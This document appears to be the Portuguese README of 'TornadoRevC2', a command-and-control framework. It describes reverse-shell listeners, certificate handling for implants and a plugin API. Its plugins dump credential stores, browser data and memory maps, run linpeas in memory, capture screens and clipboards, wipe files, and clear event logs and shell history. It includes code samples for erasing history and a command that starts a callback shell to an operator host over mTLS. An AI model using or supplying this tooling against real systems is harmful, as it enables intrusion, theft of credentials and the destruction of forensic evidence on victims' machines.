### Configuração de Listeners

O TornadoRevC2 executa **três listeners independentes simultaneamente**, para que os implants possam se conectar via texto simples, TLS com autenticação de servidor ou TLS com autenticação mútua, dependendo do modelo de ameaça do engajamento:

| Listener | Porta padrão | Flag | Autenticação | Certificados |
|----------|--------------|------|----------------|--------------|
| TCP      | `4444`       | `-p` | Nenhuma        | Nenhum |
| TLS      | `8443`       | `-tp` | Autenticação de servidor | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS     | `9443`       | `-mp` | Mútua (certificado de cliente obrigatório) | pacote `mtls_certs/` (CA + servidor + cliente) |

A flag `-H` define o endereço de bind compartilhado pelos três listeners. Todos os três podem ser habilitados ao mesmo tempo; desabilitar um não é atualmente necessário — deixe a porta livre ou não vinculada para ignorá-la.

**Geração automática de certificados.** Na primeira inicialização, o handler cria dois diretórios isolados e inicializa o material necessário:```text
tls_certs/
  server.pem          # self-signed server certificate
  server.key          # server private key

mtls_certs/
  ca.pem              # mTLS certificate authority (self-signed, 4096-bit RSA)
  ca.key              # CA private key
  ca.srl              # OpenSSL serial counter (auto-generated)
  server-mtls.pem     # server cert signed by CA
  server-mtls.key     # server private key
  client.pem          # client cert signed by CA — ship to implant
  client.key          # client private key  — ship to implant

**Plugins compartilhados** (`firewall`, `ports`, `browser`, `credstore`, e outros) existem como módulos únicos unificados em `shared/`. **Plugins específicos de plataforma**, como `rdp` e `eventlogdel`, residem exclusivamente em `windows/` ou `linux/` e não são duplicados em `shared/`.

Os coletores emitem JSON envolvido em tokens marcadores (`__T_PLUGIN_START__` / `__T_PLUGIN_END__`). O executor compartilhado analisa essa saída, formata um relatório voltado ao operador e persiste os resultados no diretório de log da sessão.

---

## Requisitos e Instalação

**Handler (máquina do operador):**

- Python 3.7 ou posterior
- OpenSSL (para geração automática de certificados TLS e mTLS)
- Git (opcional; necessário para o comando de operador `update`)
- Nenhum pacote Python de terceiros é necessário```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py

### 2. Estabelecer uma sessão

Implante um reverse shell a partir do catálogo integrado (`payloads`) ou use seu próprio implant. Ao conectar, o TornadoRevC2 atribui um ID de sessão e começa a registrar em `logs/`.

### 3. Operar```bash
status                          # List active sessions
switch 1                        # Attach to session 1
sysinfo 1                       # Collect host metadata
run credstore 1                 # Credential store metadata
run memorymap 1 1234            # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh  # In-memory script execution
update                          # Pull latest from GitHub and restart (Git installs)

**Valores de plataforma:** `linux`, `windows`, `unix`. Linux e `unix` são tratados como compatíveis — um plugin registrado para `linux` é executado em ambos. Padrão se omitido: `["linux", "windows", "unix"]`.

**Múltiplos comandos por módulo:** Um único arquivo pode registrar vários comandos aplicando `@plugin.command` a múltiplas funções. Cada um recebe um nome independente.

### Ciclo de vida de execução

Quando um operador executa `run myplugin 1 arg1 arg2`:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)

if session.is_windows:
    cmd = "whoami /all"
else:
    cmd = "id 2>/dev/null || whoami"

output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
    session.print("Plugin 'whoami' failed — no output from target.", "red")
    session.log_plugin_result("whoami", "", "no output")
    return 1

report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0

**Quando usar:** Sondagens simples, enumeração em uma linha, comandos que não precisam de relatórios estruturados.

**Métodos principais:** `session.run_shell(cmd, timeout)`, `session.print(text, color)`, `session.log_plugin_result(name, report, detail='')`.

### Padrão 2: Coletor estruturado (recomendado)

Use para plugins de enumeração que coletam dados estruturados no alvo e retornam um relatório formatado. Este é o padrão usado por todos os plugins de reconhecimento integrados (`firewall`, `ports`, `browser`, etc.).

**Fluxo:**```text
Handler                              Target host
  │                                       │
  ├─ session.log_event("started")         │
  ├─ flush shell buffer                   │
  ├─ resolve platform (unix/windows)      │
  ├─ build collector command/script ─────►│  Linux: inline Python or native shell
  │                                       │  Windows: PowerShell script in-process
  │                                       ├─ invoke native OS commands
  │                                       ├─ assemble result dict
  │                                       └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
  │◄──────────────────────────────────────┤
  ├─ parse_collector_json(raw)            │
  ├─ formatter(data) → report string      │
  ├─ session.print(report)                │
  └─ session.log_plugin_result(...)       │

**Parâmetros de `run_collector_plugin`:**

| Parâmetro | Tipo | Descrição |
|-----------|------|-------------|
| `session` | `SessionContext` | Sessão de destino |
| `plugin_name` | `str` | Nome usado em logs e mensagens de erro |
| `unix_builder` | `Callable[[], str]` ou `None` | Retorna o comando de shell Unix/Linux; `None` se indisponível |
| `win_builder` | `Callable[[], str]` ou `None` | Retorna o script PowerShell; `None` se indisponível |
| `formatter` | `Callable[[dict], str]` | Converte o dict JSON analisado em uma string de relatório |
| `timeout` | `float` | Número máximo de segundos para aguardar a saída marcada (padrão 30) |

Passe `None` para um builder de plataforma para marcar o plugin como indisponível nesse SO (consulte [Plugins específicos de plataforma](#platform-specific-plugins)).

Após salvar um plugin externo:```bash
plugins load processes
plugins info processes
run processes 1

pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)

unix_cmd = _build_linux_command(pid)   # builder accepts runtime args
win_ps = _build_windows_command(pid)

raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
    session.print("Plugin 'memorymap' failed — no response from target.", "red")
    return 1

data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0

**Exemplo de processamento pós-coletor** (de `historydel`):```python
def run(session: SessionContext, args):
    # ... run collector via _run_collector_marked ...
    data = parse_collector_json(raw)

    # Additional in-memory cleanup in the interactive shell
    if session.is_unix:
        session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
    elif session.is_windows:
        session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)

    report = format_historydel_report(data)
    session.print(report, "green" if data.get("cleared") else "yellow")
    return 0

**Diretrizes:**

- Use `subprocess.check_output(..., timeout=N)` para cada comando externo.
- Reduza listas grandes antes de emitir (limite de 50–80 entradas).
- Trate ferramentas ausentes de forma elegante—deixe seções vazias em vez de gerar erro.
- Evite incorporar strings de marcador na saída; o plugin `history` remove `__T_PLUGIN_*__` do texto coletado por esse motivo.
- Mantenha os coletores compactos para permanecer dentro do limite de tamanho inline e evitar o staging em `/tmp`.

### Coletores Windows

Os coletores Windows são strings de script PowerShell retornadas por `_build_windows_command()`.

**Estrutura:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START

def _build_windows_command():
    return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
  summary = @{{ count = 0 }}
  items = @()
}}
try {{
  Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
    $result.items += @{{ name = $_.Name; state = $_.State }}
  }}
  $result.summary.count = $result.items.Count
}} catch {{
  $result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""

### Convenções de payload JSON

Os coletores devem retornar um dict serializável em JSON. O runner e os formatadores esperam um uso consistente de chaves:

| Chave | Tipo | Propósito |
|-----|------|---------|
| `summary` | `dict` | Contagens e estatísticas de alto nível; renderizado primeiro por `format_generic_report()` |
| `error` | `str` | **Falha grave** — o runner imprime o erro e retorna o código de saída 1 |
| `traceback` | `str` | Opcional; registrado como detalhe quando `error` está definido |
| `reason` | `str` | **Falha leve** — use com formatadores personalizados (ex.: área de transferência indisponível) |
| `ok` | `bool` | Sinalizador de sucesso para plugins operacionais (captura de tela, área de transferência) |
| Listas de `dict` | `list` | Renderizadas como tabelas por `format_generic_report()` |
| Listas de `str` | `list` | Renderizadas como listas com marcadores |
| `dict` aninhado | `dict` | Renderizado como seções rotuladas |

**Degradação graciosa:** Para enumeração com múltiplas seções, use chaves de dict separadas por seção e capture exceções localmente. Não defina `error` no nível superior a menos que todo o coletor tenha falhado — resultados parciais são preferíveis.```python
result = {"summary": {}, "ufw": {}, "iptables": {}}
# Each backend probed independently; failures leave that section empty

Helpers reutilizáveis em `plugins/shared/common.py`:

| Função | Propósito |
|----------|---------|
| `format_generic_report(data, title='Results')` | Renderizador padrão de tabela/seção |
| `format_section(title, fields, width=22)` | Seção de chave-valor |
| `format_list_section(title, items, empty='(none)')` | Lista com marcadores |
| `format_table_section(title, rows, columns)` | Linhas de dict como colunas |
| `format_firewall_report`, `format_memorymap_report`, etc. | Formatadores específicos de plugins |

### Plugins específicos de plataforma

**Somente Windows:**```python
@plugin.command(name="rdp", platforms=["windows"], description="...")
def run(session: SessionContext, args):
    return run_collector_plugin(
        session, "rdp",
        None,                    # no Linux builder
        build_command,
        format_generic_report,
        timeout=35.0,
    )

**Multiplataforma com builders divididos:**

Alguns plugins compartilhados delegam para módulos builder específicos de plataforma (por exemplo, `virtualization` importa de `linux/virtualization.py` e `windows/virtualization.py`). O ponto de entrada `@plugin.command` permanece em `shared/`; os módulos builder sob `linux/` ou `windows/` não contêm decorador e não são registrados como plugins independentes.

### Plugins externos

Plugins externos permitem estender o TornadoRevC2 sem modificar o repositório.

**Configuração:**```bash
# Default location (created automatically if missing)
./plugins/myplugin.py

# Or set a custom directory
export TORNADOREVC2_PLUGIN_DIR=/path/to/my/plugins

**Ciclo de vida externo vs integrado:**

| Ação | Plugin integrado | Plugin externo |
|--------|-----------------|-----------------|
| `plugins unload` | Desativado suavemente (o módulo permanece importado) | Totalmente descarregado e não registado |
| `plugins reload` | Reimporta o módulo, limpa registos de comandos obsoletos | Remove de `sys.modules`, reimporta do disco |
| Arranque | Carregado automaticamente | Carregado a pedido |

Os módulos externos são importados como `tornado_ext_plugin_<name>` para evitar colisões de namespace.

### API SessionContext

Cada handler recebe um `SessionContext` que envolve o handler e o socket do cliente:

**Propriedades de metadados:**

| Propriedade | Tipo | Descrição |
|----------|------|-------------|
| `session_id` | `str` | Identificador de sessão atribuído |
| `platform` | `str` | `unix`, `windows` ou `unknown` |
| `is_windows` / `is_unix` | `bool` | Flags de conveniência de plataforma |
| `sysinfo` | `dict` | Informação do host em cache da recolha `sysinfo` |
| `identity` | `dict` | Metadados de identidade/impressão digital da sessão |
| `addr` | `tuple` | Endereço remoto |
| `tls` | `bool` | Indica se a sessão usa TLS |
| `name` | `str` | Nome amigável atribuído pelo operador |
| `fingerprint` | `str` | Impressão digital estável do host |
| `logger` | `SessionLogger` | Escritor de log por sessão (pode ser `None`) |
| `colors` | `dict` | Códigos de cor da consola |
| `socket` | socket | Socket bruto do cliente (uso avançado) |

**Métodos de execução:**

| Método | Descrição |
|--------|-------------|
| `run_shell(cmd, timeout=15.0)` | Envia comando, aguarda saída, devolve string |
| `run_shell_streaming(cmd, timeout, idle_timeout, on_chunk)` | Transmite saída com deteção de inatividade; útil para comandos de longa duração |
| `run_marked(unix_cmd, win_ps_script, timeout, start_mark, end_mark, strip_ws)` | Executa o comando adequado à plataforma e extrai o payload marcado |
| `get_cwd()` | Devolve o diretório de trabalho remoto |
| `collect_sysinfo(mode='stealth')` | Aciona a recolha de informação do host |

**Métodos de transferência:**

| Método | Descrição |
|--------|-------------|
| `upload(local_path, remote_path, resume=False)` | Envia ficheiro para o alvo |
| `download(remote_path, local_path, resume=False)` | Descarrega ficheiro do alvo |
| `verify_remote(remote_path)` | Verifica o tamanho e o SHA-256 do ficheiro remoto |

**Registo e saída:**

| Método | Descrição |
|--------|-------------|
| `print(text, color=None)` | Imprime na consola do operador com cor opcional (`red`, `green`, `yellow`, `cyan`) |
| `log_event(message)` | Anexa evento com timestamp a `session.log` |
| `log_command(cmd, output)` | Regista o comando e a saída em `session.log` |
| `log_plugin_result(name, report, detail='')` | Escreve o relatório em `logs/<session>/plugins/<name>_<timestamp>.log` |

### Tratamento de erros e códigos de retorno

| Retorno | Significado | Comportamento do handler |
|--------|---------|------------------|
| `0` | Sucesso | Nenhum aviso apresentado |
| `1` (ou qualquer valor diferente de zero) | Falha | Aviso amarelo: `Plugin 'name' returned code N` |
| Exceção não capturada | Erro | Mensagem de erro vermelha; registada no log da sessão |

**Modos de falha do coletor** (tratados por `run_collector_plugin`):

| Condição | Comportamento |
|-----------|----------|
| Timeout / sem marcadores na saída | Saída 1, registar "no response" |
| Saída não é JSON válido | Saída 1, registar saída bruta (truncada) como detalhe |
| `data["error"]` presente | Saída 1, imprimir erro e traceback |
| Falhas parciais de secção | **Não** deve definir `error` de nível superior; deixar a secção vazia |

**Falhas suaves** (plugins operacionais): Use `reason` ou `ok: false` e trate num formatador personalizado ou handler personalizado em vez de depender da verificação rígida de `error` do runner.

### Boas práticas

1. **Prefira comandos nativos do SO** em vez de ferramentas carregadas—alinha-se com o design leve em dependências do framework.
2. **Não escreva ficheiros no alvo** para enumeração; devolva dados pelo canal shell. Plugins operacionais (wiper, historydel) são exceções com propósito claro.
3. **Degrade graciosamente** — teste cada backend independentemente; secções vazias são melhores que falha total.
4. **Limite o tamanho da saída** — reduza listas para 50–80 itens; trunque strings longas para 200–500 caracteres.
5. **Defina timeouts realistas** — testes rápidos: 15–30s; enumeração abrangente: 45–75s.
6. **Registe consistentemente** — chame `session.log_event()` no início, `session.log_plugin_result()` na conclusão, `session.log_command()` para exportação de transcrição.
7. **Valide argumentos cedo** — devolva 1 com mensagem de utilização antes de enviar qualquer coisa para o alvo.
8. **Teste a partir de ambas as consolas** — handler principal (`run plugin <ID>`) e sessão anexada (`switch` e depois `run plugin`).
9. **Use `plugins reload`** durante o desenvolvimento para captar alterações sem reiniciar o handler.
10. **Limpe marcadores sensíveis** da saída recolhida se o seu plugin ler conteúdo de ficheiros arbitrários.

### Implementações de referência

| Plugin | Ficheiro | Padrão | Notas |
|--------|------|---------|-------|
| `firewall` | `plugins/shared/firewall.py` | Coletor multiplataforma | Degradação graciosa multi-backend |
| `ports` | `plugins/shared/ports.py` | Coletor multiplataforma | `ss` / `Get-NetTCPConnection` nativos |
| `history` | `plugins/shared/history.py` | Coletor multiplataforma | Construtores Linux Python + Windows PowerShell |
| `memorymap` | `plugins/shared/memorymap.py` | Handler personalizado | Argumento PID, construtor dinâmico |
| `screenshot` | `plugins/shared/screenshot.py` | Handler personalizado | Base64 em JSON; gravação PNG do lado do operador |
| `clipboard` | `plugins/shared/clipboard.py` | Handler personalizado | Falha suave via campo `reason` |
| `historydel` | `plugins/shared/historydel.py` | Handler personalizado | Destrutivo; limpeza shell pós-coletor |
| `wiper` | `plugins/shared/wiper.py` | Handler personalizado | Destrutivo; validação de argumento de caminho |
| `services` | `plugins/windows/services.py` | Coletor apenas Windows | Ponto de entrada mínimo |
| `eventlogdel` | `plugins/windows/eventlogdel.py` | Coletor apenas Windows | Destrutivo; relatório de falha por log |
| `rdp` | `plugins/windows/rdp.py` | Coletor apenas Windows | Enumeração de registo e firewall |
| `virtualization` | `plugins/shared/virtualization.py` | Entrada partilhada + construtores divididos | Importa construtores `linux/` e `windows/` |
| `secrets` | `plugins/linux/secrets.py` | Coletor apenas Linux | Listagem restrita por plataforma |

Para novos plugins de enumeração, comece por `run_collector_plugin` em `plugins/shared/runner.py` e copie o layout de `firewall.py` ou `ports.py`. Para plugins com argumentos ou efeitos secundários, consulte `memorymap.py` ou `wiper.py`.

---

## Registo de Sessão

Cada sessão escreve num diretório isolado sob `logs/`:```text
logs/001_user@hostname_192.168.1.10_unix_10-08-2026_143022/
  session.log           Operator commands and console output
  sysinfo.json          Host information snapshot
  transfers/            Upload and download event logs
  executions/           In-memory payload execution metadata
  plugins/              Plugin reports and collector output
      quickenum_20260812_054812.log
      firewall_20260812_055130.log
      screenshot_20260812_055412.png

---

## Configuração de TLS e mTLS

O TornadoRevC2 executa três listeners isolados, cada um com sua própria origem de certificado. Tudo em `tls_certs/` e `mtls_certs/` é gerado automaticamente na primeira execução e nunca é sobrescrito.

| Listener | Porta | Autenticação do cliente | Certificados |
|----------|------|-------------|--------------|
| TCP | `4444` | nenhuma | — |
| TLS | `8443` | somente servidor | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | mútua (certificado do cliente obrigatório) | pacote `mtls_certs/` |

### TLS

Gerado automaticamente como um par autoassinado (`CN=localhost`, RSA-2048, 3650 dias).

Para fornecer o seu próprio:```bash
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 \
  -c tls_certs/server.pem -k tls_certs/server.key

### Atualizando uma sessão ativa para mTLS

Sessões existentes em TCP simples ou TLS com autenticação de servidor podem ser movidas para o listener mTLS sem reiniciar o handler. O plugin `upgrade_mtls` envia `client.pem`, `client.key` e `ca.pem` para o alvo, inicia um shell em segundo plano que apresenta o certificado do cliente e (por padrão) remove o pacote do disco assim que a nova sessão estiver ativa.```bash
# From the main handler prompt
run upgrade_mtls 1 --port 9443 --host 10.10.14.7
run upgrade_mtls 1 --keep-bundle       # leave certs on disk after launch
run upgrade_mtls 1 --no-upload         # certificate bundle already uploaded manually

# From inside an attached session (switch 1)
run upgrade_mtls